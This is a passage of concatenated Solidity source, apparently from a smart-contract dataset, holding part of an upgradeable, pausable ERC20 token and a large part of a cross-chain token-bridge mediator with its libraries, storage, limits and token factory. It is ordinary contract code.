upgradeMaster = master;
}
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract ReleasableToken is ERC20, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
revert();
}
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
revert();
}
_;
}
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
revert();
}
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint _value) whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract CentrallyIssuedToken is UpgradeableToken, ReleasableToken, PausableToken {
string public name;
string public symbol;
uint public decimals;
function CentrallyIssuedToken(address _owner, string _name, string _symbol, uint _totalSupply, uint _decimals) UpgradeableToken(_owner) {
name = _name;
symbol = _symbol;
totalSupply = _totalSupply;
decimals = _decimals;
balances[_owner] = _totalSupply;
}
} | 1 | 5,522 |
pragma solidity 0.7.5;
contract EternalStorage {
mapping(bytes32 => uint256) internal uintStorage;
mapping(bytes32 => string) internal stringStorage;
mapping(bytes32 => address) internal addressStorage;
mapping(bytes32 => bytes) internal bytesStorage;
mapping(bytes32 => bool) internal boolStorage;
mapping(bytes32 => int256) internal intStorage;
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Sacrifice {
constructor(address payable _recipient) payable {
selfdestruct(_recipient);
}
}
interface IUpgradeabilityOwnerStorage {
function upgradeabilityOwner() external view returns (address);
}
interface IERC677 is IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
function transferAndCall(
address to,
uint256 value,
bytes calldata data
) external returns (bool);
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
}
contract Ownable is EternalStorage {
bytes4 internal constant UPGRADEABILITY_OWNER = 0x6fde8202;
event OwnershipTransferred(address previousOwner, address newOwner);
modifier onlyOwner() {
_onlyOwner();
_;
}
function _onlyOwner() internal view {
require(msg.sender == owner());
}
modifier onlyRelevantSender() {
(bool isProxy, bytes memory returnData) = address(this).call(abi.encodeWithSelector(UPGRADEABILITY_OWNER));
require(
!isProxy ||
(returnData.length == 32 && msg.sender == abi.decode(returnData, (address))) ||
msg.sender == address(this)
);
_;
}
bytes32 internal constant OWNER = 0x02016836a56b71f0d02689e69e326f4f4c1b9057164ef592671cf0d37c8040c0;
function owner() public view returns (address) {
return addressStorage[OWNER];
}
function transferOwnership(address newOwner) external onlyOwner {
_setOwner(newOwner);
}
function _setOwner(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(owner(), newOwner);
addressStorage[OWNER] = newOwner;
}
}
interface VersionableBridge {
function getBridgeInterfacesVersion()
external
pure
returns (
uint64 major,
uint64 minor,
uint64 patch
);
function getBridgeMode() external pure returns (bytes4);
}
interface IAMB {
event UserRequestForAffirmation(bytes32 indexed messageId, bytes encodedData);
event UserRequestForSignature(bytes32 indexed messageId, bytes encodedData);
event AffirmationCompleted(
address indexed sender,
address indexed executor,
bytes32 indexed messageId,
bool status
);
event RelayedMessage(address indexed sender, address indexed executor, bytes32 indexed messageId, bool status);
function messageSender() external view returns (address);
function maxGasPerTx() external view returns (uint256);
function transactionHash() external view returns (bytes32);
function messageId() external view returns (bytes32);
function messageSourceChainId() external view returns (bytes32);
function messageCallStatus(bytes32 _messageId) external view returns (bool);
function failedMessageDataHash(bytes32 _messageId) external view returns (bytes32);
function failedMessageReceiver(bytes32 _messageId) external view returns (address);
function failedMessageSender(bytes32 _messageId) external view returns (address);
function requireToPassMessage(
address _contract,
bytes calldata _data,
uint256 _gas
) external returns (bytes32);
function requireToConfirmMessage(
address _contract,
bytes calldata _data,
uint256 _gas
) external returns (bytes32);
function sourceChainId() external view returns (uint256);
function destinationChainId() external view returns (uint256);
}
library AddressHelper {
function safeSendValue(address payable _receiver, uint256 _value) internal {
if (!(_receiver).send(_value)) {
new Sacrifice{ value: _value }(_receiver);
}
}
}
interface IERC20Receiver {
function onTokenBridged(
address token,
uint256 value,
bytes calldata data
) external;
}
interface IERC20Metadata {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract Upgradeable {
modifier onlyIfUpgradeabilityOwner() {
require(msg.sender == IUpgradeabilityOwnerStorage(address(this)).upgradeabilityOwner());
_;
}
}
contract Initializable is EternalStorage {
bytes32 internal constant INITIALIZED = 0x0a6f646cd611241d8073675e00d1a1ff700fbf1b53fcf473de56d1e6e4b714ba;
function setInitialize() internal {
boolStorage[INITIALIZED] = true;
}
function isInitialized() public view returns (bool) {
return boolStorage[INITIALIZED];
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Claimable {
using SafeERC20 for IERC20;
modifier validAddress(address _to) {
require(_to != address(0));
_;
}
function claimValues(address _token, address _to) internal validAddress(_to) {
if (_token == address(0)) {
claimNativeCoins(_to);
} else {
claimErc20Tokens(_token, _to);
}
}
function claimNativeCoins(address _to) internal {
uint256 value = address(this).balance;
AddressHelper.safeSendValue(payable(_to), value);
}
function claimErc20Tokens(address _token, address _to) internal {
IERC20 token = IERC20(_token);
uint256 balance = token.balanceOf(address(this));
token.safeTransfer(_to, balance);
}
}
contract BridgedTokensRegistry is EternalStorage {
event NewTokenRegistered(address indexed nativeToken, address indexed bridgedToken);
function bridgedTokenAddress(address _nativeToken) public view returns (address) {
return addressStorage[keccak256(abi.encodePacked("homeTokenAddress", _nativeToken))];
}
function nativeTokenAddress(address _bridgedToken) public view returns (address) {
return addressStorage[keccak256(abi.encodePacked("foreignTokenAddress", _bridgedToken))];
}
function _setTokenAddressPair(address _nativeToken, address _bridgedToken) internal {
addressStorage[keccak256(abi.encodePacked("homeTokenAddress", _nativeToken))] = _bridgedToken;
addressStorage[keccak256(abi.encodePacked("foreignTokenAddress", _bridgedToken))] = _nativeToken;
emit NewTokenRegistered(_nativeToken, _bridgedToken);
}
}
contract NativeTokensRegistry is EternalStorage {
function isBridgedTokenDeployAcknowledged(address _token) public view returns (bool) {
return boolStorage[keccak256(abi.encodePacked("ackDeploy", _token))];
}
function _ackBridgedTokenDeploy(address _token) internal {
if (!boolStorage[keccak256(abi.encodePacked("ackDeploy", _token))]) {
boolStorage[keccak256(abi.encodePacked("ackDeploy", _token))] = true;
}
}
}
contract MediatorBalanceStorage is EternalStorage {
function mediatorBalance(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("mediatorBalance", _token))];
}
function _setMediatorBalance(address _token, uint256 _balance) internal {
uintStorage[keccak256(abi.encodePacked("mediatorBalance", _token))] = _balance;
}
}
library Bytes {
function bytesToAddress(bytes memory _bytes) internal pure returns (address addr) {
assembly {
addr := mload(add(_bytes, 20))
}
}
}
contract ReentrancyGuard {
function lock() internal view returns (bool res) {
assembly {
res := sload(0x6168652c307c1e813ca11cfb3a601f1cf3b22452021a5052d8b05f1f1f8a3e92)
}
}
function setLock(bool _lock) internal {
assembly {
sstore(0x6168652c307c1e813ca11cfb3a601f1cf3b22452021a5052d8b05f1f1f8a3e92, _lock)
}
}
}
abstract contract BasicAMBMediator is Ownable {
bytes32 internal constant BRIDGE_CONTRACT = 0x811bbb11e8899da471f0e69a3ed55090fc90215227fc5fb1cb0d6e962ea7b74f;
bytes32 internal constant MEDIATOR_CONTRACT = 0x98aa806e31e94a687a31c65769cb99670064dd7f5a87526da075c5fb4eab9880;
modifier onlyMediator {
_onlyMediator();
_;
}
function _onlyMediator() internal view {
IAMB bridge = bridgeContract();
require(msg.sender == address(bridge));
require(bridge.messageSender() == mediatorContractOnOtherSide());
}
function setBridgeContract(address _bridgeContract) external onlyOwner {
_setBridgeContract(_bridgeContract);
}
function setMediatorContractOnOtherSide(address _mediatorContract) external onlyOwner {
_setMediatorContractOnOtherSide(_mediatorContract);
}
function bridgeContract() public view returns (IAMB) {
return IAMB(addressStorage[BRIDGE_CONTRACT]);
}
function mediatorContractOnOtherSide() public view virtual returns (address) {
return addressStorage[MEDIATOR_CONTRACT];
}
function _setBridgeContract(address _bridgeContract) internal {
require(Address.isContract(_bridgeContract));
addressStorage[BRIDGE_CONTRACT] = _bridgeContract;
}
function _setMediatorContractOnOtherSide(address _mediatorContract) internal {
addressStorage[MEDIATOR_CONTRACT] = _mediatorContract;
}
function messageId() internal view returns (bytes32) {
return bridgeContract().messageId();
}
function maxGasPerTx() internal view returns (uint256) {
return bridgeContract().maxGasPerTx();
}
function _passMessage(bytes memory _data, bool _useOracleLane) internal virtual returns (bytes32);
}
abstract contract TokensRelayer is BasicAMBMediator, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC677;
function onTokenTransfer(
address _from,
uint256 _value,
bytes calldata _data
) external returns (bool) {
if (!lock()) {
bytes memory data = new bytes(0);
address receiver = _from;
if (_data.length >= 20) {
assembly {
receiver := calldataload(120)
}
if (_data.length > 20) {
assembly {
data := mload(0x40)
let size := sub(calldataload(100), 20)
mstore(data, size)
calldatacopy(add(data, 32), 152, size)
mstore(0x40, add(add(data, 32), size))
}
}
}
bridgeSpecificActionsOnTokenTransfer(msg.sender, _from, receiver, _value, data);
}
return true;
}
function relayTokens(
IERC677 token,
address _receiver,
uint256 _value
) external {
_relayTokens(token, _receiver, _value, new bytes(0));
}
function relayTokens(IERC677 token, uint256 _value) external {
_relayTokens(token, msg.sender, _value, new bytes(0));
}
function relayTokensAndCall(
IERC677 token,
address _receiver,
uint256 _value,
bytes memory _data
) external {
_relayTokens(token, _receiver, _value, _data);
}
function _relayTokens(
IERC677 token,
address _receiver,
uint256 _value,
bytes memory _data
) internal {
require(!lock());
uint256 balanceBefore = token.balanceOf(address(this));
setLock(true);
token.safeTransferFrom(msg.sender, address(this), _value);
setLock(false);
uint256 balanceDiff = token.balanceOf(address(this)).sub(balanceBefore);
require(balanceDiff <= _value);
bridgeSpecificActionsOnTokenTransfer(address(token), msg.sender, _receiver, balanceDiff, _data);
}
function bridgeSpecificActionsOnTokenTransfer(
address _token,
address _from,
address _receiver,
uint256 _value,
bytes memory _data
) internal virtual;
}
contract OmnibridgeInfo is VersionableBridge {
event TokensBridgingInitiated(
address indexed token,
address indexed sender,
uint256 value,
bytes32 indexed messageId
);
event TokensBridged(address indexed token, address indexed recipient, uint256 value, bytes32 indexed messageId);
function getBridgeInterfacesVersion()
external
pure
override
returns (
uint64 major,
uint64 minor,
uint64 patch
)
{
return (2, 1, 0);
}
function getBridgeMode() external pure override returns (bytes4 _data) {
return 0xb1516c26;
}
}
contract TokensBridgeLimits is EternalStorage, Ownable {
using SafeMath for uint256;
event DailyLimitChanged(address indexed token, uint256 newLimit);
event ExecutionDailyLimitChanged(address indexed token, uint256 newLimit);
function isTokenRegistered(address _token) public view returns (bool) {
return minPerTx(_token) > 0;
}
function totalSpentPerDay(address _token, uint256 _day) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("totalSpentPerDay", _token, _day))];
}
function totalExecutedPerDay(address _token, uint256 _day) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("totalExecutedPerDay", _token, _day))];
}
function dailyLimit(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("dailyLimit", _token))];
}
function executionDailyLimit(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("executionDailyLimit", _token))];
}
function maxPerTx(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("maxPerTx", _token))];
}
function executionMaxPerTx(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("executionMaxPerTx", _token))];
}
function minPerTx(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("minPerTx", _token))];
}
function withinLimit(address _token, uint256 _amount) public view returns (bool) {
uint256 nextLimit = totalSpentPerDay(_token, getCurrentDay()).add(_amount);
return
dailyLimit(address(0)) > 0 &&
dailyLimit(_token) >= nextLimit &&
_amount <= maxPerTx(_token) &&
_amount >= minPerTx(_token);
}
function withinExecutionLimit(address _token, uint256 _amount) public view returns (bool) {
uint256 nextLimit = totalExecutedPerDay(_token, getCurrentDay()).add(_amount);
return
executionDailyLimit(address(0)) > 0 &&
executionDailyLimit(_token) >= nextLimit &&
_amount <= executionMaxPerTx(_token);
}
function getCurrentDay() public view returns (uint256) {
return block.timestamp / 1 days;
}
function setDailyLimit(address _token, uint256 _dailyLimit) external onlyOwner {
require(isTokenRegistered(_token));
require(_dailyLimit > maxPerTx(_token) || _dailyLimit == 0);
uintStorage[keccak256(abi.encodePacked("dailyLimit", _token))] = _dailyLimit;
emit DailyLimitChanged(_token, _dailyLimit);
}
function setExecutionDailyLimit(address _token, uint256 _dailyLimit) external onlyOwner {
require(isTokenRegistered(_token));
require(_dailyLimit > executionMaxPerTx(_token) || _dailyLimit == 0);
uintStorage[keccak256(abi.encodePacked("executionDailyLimit", _token))] = _dailyLimit;
emit ExecutionDailyLimitChanged(_token, _dailyLimit);
}
function setExecutionMaxPerTx(address _token, uint256 _maxPerTx) external onlyOwner {
require(isTokenRegistered(_token));
require(_maxPerTx == 0 || (_maxPerTx > 0 && _maxPerTx < executionDailyLimit(_token)));
uintStorage[keccak256(abi.encodePacked("executionMaxPerTx", _token))] = _maxPerTx;
}
function setMaxPerTx(address _token, uint256 _maxPerTx) external onlyOwner {
require(isTokenRegistered(_token));
require(_maxPerTx == 0 || (_maxPerTx > minPerTx(_token) && _maxPerTx < dailyLimit(_token)));
uintStorage[keccak256(abi.encodePacked("maxPerTx", _token))] = _maxPerTx;
}
function setMinPerTx(address _token, uint256 _minPerTx) external onlyOwner {
require(isTokenRegistered(_token));
require(_minPerTx > 0 && _minPerTx < dailyLimit(_token) && _minPerTx < maxPerTx(_token));
uintStorage[keccak256(abi.encodePacked("minPerTx", _token))] = _minPerTx;
}
function maxAvailablePerTx(address _token) public view returns (uint256) {
uint256 _maxPerTx = maxPerTx(_token);
uint256 _dailyLimit = dailyLimit(_token);
uint256 _spent = totalSpentPerDay(_token, getCurrentDay());
uint256 _remainingOutOfDaily = _dailyLimit > _spent ? _dailyLimit - _spent : 0;
return _maxPerTx < _remainingOutOfDaily ? _maxPerTx : _remainingOutOfDaily;
}
function addTotalSpentPerDay(
address _token,
uint256 _day,
uint256 _value
) internal {
uintStorage[keccak256(abi.encodePacked("totalSpentPerDay", _token, _day))] = totalSpentPerDay(_token, _day).add(
_value
);
}
function addTotalExecutedPerDay(
address _token,
uint256 _day,
uint256 _value
) internal {
uintStorage[keccak256(abi.encodePacked("totalExecutedPerDay", _token, _day))] = totalExecutedPerDay(
_token,
_day
)
.add(_value);
}
function _setLimits(address _token, uint256[3] memory _limits) internal {
require(
_limits[2] > 0 &&
_limits[1] > _limits[2] &&
_limits[0] > _limits[1]
);
uintStorage[keccak256(abi.encodePacked("dailyLimit", _token))] = _limits[0];
uintStorage[keccak256(abi.encodePacked("maxPerTx", _token))] = _limits[1];
uintStorage[keccak256(abi.encodePacked("minPerTx", _token))] = _limits[2];
emit DailyLimitChanged(_token, _limits[0]);
}
function _setExecutionLimits(address _token, uint256[2] memory _limits) internal {
require(_limits[1] < _limits[0]);
uintStorage[keccak256(abi.encodePacked("executionDailyLimit", _token))] = _limits[0];
uintStorage[keccak256(abi.encodePacked("executionMaxPerTx", _token))] = _limits[1];
emit ExecutionDailyLimitChanged(_token, _limits[0]);
}
function _initializeTokenBridgeLimits(address _token, uint256 _decimals) internal {
uint256 factor;
if (_decimals < 18) {
factor = 10**(18 - _decimals);
uint256 _minPerTx = minPerTx(address(0)).div(factor);
uint256 _maxPerTx = maxPerTx(address(0)).div(factor);
uint256 _dailyLimit = dailyLimit(address(0)).div(factor);
uint256 _executionMaxPerTx = executionMaxPerTx(address(0)).div(factor);
uint256 _executionDailyLimit = executionDailyLimit(address(0)).div(factor);
if (_minPerTx == 0) {
_minPerTx = 1;
if (_maxPerTx <= _minPerTx) {
_maxPerTx = 100;
_executionMaxPerTx = 100;
if (_dailyLimit <= _maxPerTx || _executionDailyLimit <= _executionMaxPerTx) {
_dailyLimit = 10000;
_executionDailyLimit = 10000;
}
}
}
_setLimits(_token, [_dailyLimit, _maxPerTx, _minPerTx]);
_setExecutionLimits(_token, [_executionDailyLimit, _executionMaxPerTx]);
} else {
factor = 10**(_decimals - 18);
_setLimits(
_token,
[dailyLimit(address(0)).mul(factor), maxPerTx(address(0)).mul(factor), minPerTx(address(0)).mul(factor)]
);
_setExecutionLimits(
_token,
[executionDailyLimit(address(0)).mul(factor), executionMaxPerTx(address(0)).mul(factor)]
);
}
}
}
abstract contract BridgeOperationsStorage is EternalStorage {
function setMessageToken(bytes32 _messageId, address _token) internal {
addressStorage[keccak256(abi.encodePacked("messageToken", _messageId))] = _token;
}
function messageToken(bytes32 _messageId) internal view returns (address) {
return addressStorage[keccak256(abi.encodePacked("messageToken", _messageId))];
}
function setMessageValue(bytes32 _messageId, uint256 _value) internal {
uintStorage[keccak256(abi.encodePacked("messageValue", _messageId))] = _value;
}
function messageValue(bytes32 _messageId) internal view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("messageValue", _messageId))];
}
function setMessageRecipient(bytes32 _messageId, address _recipient) internal {
addressStorage[keccak256(abi.encodePacked("messageRecipient", _messageId))] = _recipient;
}
function messageRecipient(bytes32 _messageId) internal view returns (address) {
return addressStorage[keccak256(abi.encodePacked("messageRecipient", _messageId))];
}
}
abstract contract FailedMessagesProcessor is BasicAMBMediator, BridgeOperationsStorage {
event FailedMessageFixed(bytes32 indexed messageId, address token, address recipient, uint256 value);
function requestFailedMessageFix(bytes32 _messageId) external {
require(!bridgeContract().messageCallStatus(_messageId));
require(bridgeContract().failedMessageReceiver(_messageId) == address(this));
require(bridgeContract().failedMessageSender(_messageId) == mediatorContractOnOtherSide());
bytes4 methodSelector = this.fixFailedMessage.selector;
bytes memory data = abi.encodeWithSelector(methodSelector, _messageId);
_passMessage(data, true);
}
function fixFailedMessage(bytes32 _messageId) public onlyMediator {
require(!messageFixed(_messageId));
address token = messageToken(_messageId);
address recipient = messageRecipient(_messageId);
uint256 value = messageValue(_messageId);
setMessageFixed(_messageId);
executeActionOnFixedTokens(token, recipient, value);
emit FailedMessageFixed(_messageId, token, recipient, value);
}
function messageFixed(bytes32 _messageId) public view returns (bool) {
return boolStorage[keccak256(abi.encodePacked("messageFixed", _messageId))];
}
function setMessageFixed(bytes32 _messageId) internal {
boolStorage[keccak256(abi.encodePacked("messageFixed", _messageId))] = true;
}
function executeActionOnFixedTokens(
address _token,
address _recipient,
uint256 _value
) internal virtual;
}
abstract contract Proxy {
function implementation() public view virtual returns (address);
fallback() external payable {
address _impl = implementation();
require(_impl != address(0));
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize())
let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
mstore(0x40, add(ptr, returndatasize()))
returndatacopy(ptr, 0, returndatasize())
switch result
case 0 {
revert(ptr, returndatasize())
}
default {
return(ptr, returndatasize())
}
}
}
}
interface IPermittableTokenVersion {
function version() external pure returns (string memory);
}
contract TokenProxy is Proxy {
string internal name;
string internal symbol;
uint8 internal decimals;
mapping(address => uint256) internal balances;
uint256 internal totalSupply;
mapping(address => mapping(address => uint256)) internal allowed;
address internal owner;
bool internal mintingFinished;
address internal bridgeContractAddr;
bytes32 internal DOMAIN_SEPARATOR;
mapping(address => uint256) internal nonces;
mapping(address => mapping(address => uint256)) internal expirations;
constructor(
address _tokenImage,
string memory _name,
string memory _symbol,
uint8 _decimals,
uint256 _chainId,
address _owner
) {
string memory version = IPermittableTokenVersion(_tokenImage).version();
assembly {
sstore(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc, _tokenImage)
}
name = _name;
symbol = _symbol;
decimals = _decimals;
owner = _owner;
bridgeContractAddr = _owner;
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(_name)),
keccak256(bytes(version)),
_chainId,
address(this)
)
);
}
function implementation() public view override returns (address impl) {
assembly {
impl := sload(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc)
}
}
}
contract OwnableModule {
address public owner;
constructor(address _owner) {
owner = _owner;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) external onlyOwner {
owner = _newOwner;
}
}
contract TokenFactory is OwnableModule {
address public tokenImage;
constructor(address _owner, address _tokenImage) OwnableModule(_owner) {
tokenImage = _tokenImage;
}
function setTokenImage(address _tokenImage) external onlyOwner {
require(Address.isContract(_tokenImage));
tokenImage = _tokenImage;
}
function deploy(
string calldata _name,
string calldata _symbol,
uint8 _decimals,
uint256 _chainId
) external returns (address) {
return address(new TokenProxy(tokenImage, _name, _symbol, _decimals, _chainId, msg.sender));
}
}
contract TokenFactoryConnector is Ownable {
bytes32 internal constant TOKEN_FACTORY_CONTRACT =
0x269c5905f777ee6391c7a361d17039a7d62f52ba9fffeb98c5ade342705731a3;
function setTokenFactory(address _tokenFactory) external onlyOwner {
_setTokenFactory(_tokenFactory);
}
function tokenFactory() public view returns (TokenFactory) {
return TokenFactory(addressStorage[TOKEN_FACTORY_CONTRACT]);
}
function _setTokenFactory(address _tokenFactory) internal {
require(Address.isContract(_tokenFactory));
addressStorage[TOKEN_FACTORY_CONTRACT] = _tokenFactory;
}
}
interface IBurnableMintableERC677Token is IERC677 {
function mint(address _to, uint256 _amount) external returns (bool);
function burn(uint256 _value) external;
function claimTokens(address _token, address _to) external;
}
interface ITokenDetails {
function name() external view;
function NAME() external view;
function symbol() external view;
function SYMBOL() external view;
function decimals() external view;
function DECIMALS() external view;
}
library TokenReader {
function readName(address _token) internal view returns (string memory) {
(bool status, bytes memory data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.name.selector));
if (!status) {
(status, data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.NAME.selector));
if (!status) {
return "";
}
}
return _convertToString(data);
}
function readSymbol(address _token) internal view returns (string memory) {
(bool status, bytes memory data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.symbol.selector));
if (!status) {
(status, data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.SYMBOL.selector));
if (!status) {
return "";
}
}
return _convertToString(data);
}
function readDecimals(address _token) internal view returns (uint256) {
(bool status, bytes memory data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.decimals.selector));
if (!status) {
(status, data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.DECIMALS.selector));
if (!status) {
return 0;
}
}
return abi.decode(data, (uint256));
}
function _convertToString(bytes memory returnData) private pure returns (string memory) {
if (returnData.length > 32) {
return abi.decode(returnData, (string));
} else if (returnData.length == 32) {
bytes32 data = abi.decode(returnData, (bytes32));
string memory res = new string(32);
assembly {
let len := 0
mstore(add(res, 32), data)
for { } gt(data, 0) { len := add(len, 1) } {
data := shl(8, data)
}
mstore(res, len)
}
return res;
} else {
return "";
}
}
}
abstract contract BasicOmnibridge is
Initializable,
Upgradeable,
Claimable,
OmnibridgeInfo,
TokensRelayer,
FailedMessagesProcessor,
BridgedTokensRegistry,
NativeTokensRegistry,
MediatorBalanceStorage,
TokenFactoryConnector,
TokensBridgeLimits
{
using SafeERC20 for IERC677;
using SafeMath for uint256;
uint256 private immutable SUFFIX_SIZE;
bytes32 private immutable SUFFIX;
constructor(string memory _suffix) {
require(bytes(_suffix).length <= 32);
bytes32 suffix;
assembly {
suffix := mload(add(_suffix, 32))
}
SUFFIX = suffix;
SUFFIX_SIZE = bytes(_suffix).length;
}
function deployAndHandleBridgedTokens(
address _token,
string calldata _name,
string calldata _symbol,
uint8 _decimals,
address _recipient,
uint256 _value
) external onlyMediator {
address bridgedToken = _getBridgedTokenOrDeploy(_token, _name, _symbol, _decimals);
_handleTokens(bridgedToken, false, _recipient, _value);
}
function deployAndHandleBridgedTokensAndCall(
address _token,
string calldata _name,
string calldata _symbol,
uint8 _decimals,
address _recipient,
uint256 _value,
bytes calldata _data
) external onlyMediator {
address bridgedToken = _getBridgedTokenOrDeploy(_token, _name, _symbol, _decimals);
_handleTokens(bridgedToken, false, _recipient, _value);
_receiverCallback(_recipient, bridgedToken, _value, _data);
}
